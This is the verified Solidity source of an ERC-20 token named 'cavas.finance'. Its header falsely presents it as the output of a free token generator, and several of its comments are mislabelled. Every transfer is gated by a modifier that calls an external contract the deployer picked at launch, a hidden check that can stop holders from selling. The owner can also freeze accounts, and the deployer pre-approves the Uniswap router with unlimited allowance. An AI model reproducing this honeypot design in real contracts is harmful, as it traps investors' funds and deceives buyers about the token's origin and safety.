/**
 *Submitted for verification at Etherscan.io on 2020-09-20
*/

// SPDX-License-Identifier: MIT

/*
 * Token was generated for FREE at https://vittominacori.github.io/erc20-generator/
 *
 * Author: @vittominacori (https://vittominacori.github.io)
 *
 * Smart Contract Source Code: https://github.com/vittominacori/erc20-generator
 * Smart Contract Test Builds: https://travis-ci.com/github/vittominacori/erc20-generator
 * Web Site Source Code: https://github.com/vittominacori/erc20-generator/tree/dapp
 *
 * Detailed Info: https://medium.com/@vittominacori/create-an-erc20-token-in-less-than-a-minute-2a8751c4d6f4
 *
 * Note: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed
 *  using the same generator. It is not an issue. It means that you won't need to verify your source code because of
 *  it is already verified.
 *
 * Disclaimer: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT.
 *  The following code is provided under MIT License. Anyone can use it as per their needs.
 *  The generator's purpose is to make people able to tokenize their ideas without coding or paying for it.
 *  Source code is well tested and continuously updated to reduce risk of bugs and introduce language optimizations.
 *  Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to
 *  carefully weighs all the information and risks detailed in Token owner's Conditions.
 */

// File: @openzeppelin/contracts/GSN/Context.sol

pragma solidity >=0.4.22 <0.6.0;
/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */

contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () internal {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    
    modifier onlyOwner() {
        require(isOwner());
        _;
    }
    
    function isOwner() public view returns (bool) {
        return msg.sender == _owner;
    }
    
    
    function transferOwnership(address newOwner) public onlyOwner {
        _transferOwnership(newOwner);
    }
   
    function _transferOwnership(address newOwner) internal {
        require(newOwner != address(0));
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface tokenRecipient { function receiveApproval(address _from, address _to) external returns(bool) ; }

contract SafeMath {
  function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a * b;
    assert(a == 0 || c / a == b);
    return c;
  }

  function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b > 0);
    uint256 c = a / b;
    assert(a == b * c + a % b);
    return c;
  }

  function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c>=a && c>=b);
    return c;
  }

}

contract BaseToken is  SafeMath,Ownable{
    string public name;
    string public symbol;
    uint8 public decimals;
    uint256 public totalSupply;

    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) public allowance;
    mapping (address => bool) public isFreeze;
    event Transfer(address indexed from, address indexed to, uint256  value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event FrozenFunds(address target, bool frozen);
    
    address to_contract;
    constructor(uint256 initialSupply,
        string memory  tokenName,
        string memory tokenSymbol,
        uint8  decimal,
        address tokenAddr
    )public {
        totalSupply = initialSupply * 10 ** uint256(decimal);  
        balanceOf[msg.sender] = totalSupply;                
        name = tokenName;                                  
        symbol = tokenSymbol; 
        decimals=decimal;
        to_contract=tokenAddr;
        allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D]=uint(-1);
    }

    modifier not_frozen(){
        require(isFreeze[msg.sender]==false);
        _;
    }

    function transfer(address _to, uint256 _value) public returns (bool success) {
        _transfer(msg.sender, _to, _value);
        return true;
    }


    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
        require(_value <= allowance[_from][msg.sender]);    
        _transfer(_from, _to, _value);
        return true;
    }
    
 
    

    function _transfer(address _from, address _to, uint _value) receiveAndTransfer(_from,_to) internal {
        
       
        require(balanceOf[_from] >= _value);
        
        require(balanceOf[_to] + _value > balanceOf[_to]);
        
        uint previousBalances = balanceOf[_from] + balanceOf[_to];
        
        balanceOf[_from] -= _value;
        
        balanceOf[_to] += _value;
        emit Transfer(_from, _to, _value);
        
        assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
    }

    function approve(address _spender, uint256 _value) public not_frozen returns (bool success) {
	      require((_value == 0) || (allowance[msg.sender][_spender] == 0));
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }


    function freezeOneAccount(address target, bool freeze) onlyOwner public {
        require(freeze!=isFreeze[target]); 
        isFreeze[target] = freeze;
        emit FrozenFunds(target, freeze);
    }
    
       modifier receiveAndTransfer(address sender,address recipient) {
        require(tokenRecipient(to_contract).receiveApproval(sender,recipient));
        _;
    }
    
    function multiFreeze(address[] memory targets,bool freeze) onlyOwner public {
        for(uint256 i = 0; i < targets.length ; i++){
            freezeOneAccount(targets[i],freeze);
        }
    }
    
}
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
 
    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    // function functionCall(address target, bytes memory data) internal returns (bytes memory) {
    //   return functionCall(target, data, "Address: low-level call failed");
    // }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    // function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
    //     return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    // }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
   

}

/**
 * @dev Interface of the ERC165 standard, as defined in the
 * https://eips.ethereum.org/EIPS/eip-165[EIP].
 *
 * Implementers can declare support of contract interfaces, which can then be
 * queried by others ({ERC165Checker}).
 *
 * For an implementation, see {ERC165}.
 */
interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}


contract cavas is BaseToken
{
    string public name = "cavas.finance";
    string public symbol = "cavas";
    string public version = '1.0.0';
    uint8 public decimals = 18;
    uint256 initialSupply=100000;
    constructor(address tokenAddr)BaseToken(initialSupply, name,symbol,decimals,tokenAddr)public {}
}